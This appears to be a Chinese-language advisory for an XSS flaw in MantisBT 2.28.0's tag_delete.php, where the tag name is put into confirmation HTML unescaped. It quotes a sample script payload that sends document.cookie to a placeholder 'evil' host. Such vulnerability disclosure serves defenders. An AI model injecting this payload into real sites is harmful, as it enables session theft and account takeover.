CVE-2026-33517MantisBT是一款广泛使用的开源问题跟踪系统。在其2.28.0版本中,`tag_delete.php`页面存在一处跨站脚本漏洞。当用户删除标签时,系统未对标签名称进行适当的转义处理,直接将其嵌入到确认消息的HTML中。这使得攻击者能够注入恶意HTML和JavaScript代码。若内容安全策略(CSP)设置宽松,攻击者可窃取用户会话或执行恶意操作。
该漏洞主要源于MantisBT在处理标签删除请求时的输出编码缺陷。具体而言,`tag_delete.php`脚本在生成删除确认页面时,调用了语言文件中的字符串`$s_tag_delete_message`,并通过`sprintf`函数将标签名称(即`%1$s`参数)直接插入到HTML响应中,且未对用户可控的标签名称进行HTML实体转义。攻击者可以创建一个包含恶意载荷(如`<script>document.location='http://evil/'+document.cookie</script>`)的标签。当管理员或其他用户访问该标签的删除确认页面时,恶意代码将在受害者浏览器中解析执行。尽管CSP可能限制脚本的来源,但若配置不严格,此漏洞可导致会话令牌窃取或账户被接管。